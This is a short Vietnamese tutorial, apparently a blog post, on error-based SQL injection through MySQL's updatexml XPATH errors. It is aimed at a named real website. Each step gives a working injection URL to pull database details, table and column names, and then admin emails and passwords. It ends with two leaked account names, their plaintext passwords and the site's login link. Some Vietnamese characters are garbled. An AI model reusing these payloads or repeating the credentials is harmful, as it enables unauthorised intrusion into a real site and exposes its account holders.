tut xpath (sql nang cao)

b1:Get version(), database(), user():
http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,version(),0x7c,database(), 0x7c,user()),0)-- -
ra kết quả:
XPATH syntax error: '|5.6.13-log|admin_coex|coex@loca'
b2:Get Table:

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -

Tang Limit lên d?n d? get table c?n tìm.
==> admin, admin_rights, admintype
b3:Get Column:

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x61646d696e limit 0,1)),0)--

Tang Limit lên d?n d? get column c?n tìm.
==> id, idtype, firstname, astname, email, password, status

b4:Get tài kho?n:

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from admin limit 0,1)),0)-- -

------------------------------------------
ID: admin
Pass: mediamart

ID: cuonglv
Pass: levancuong

Link login: http://coex.com.vn/login.php

Related Post: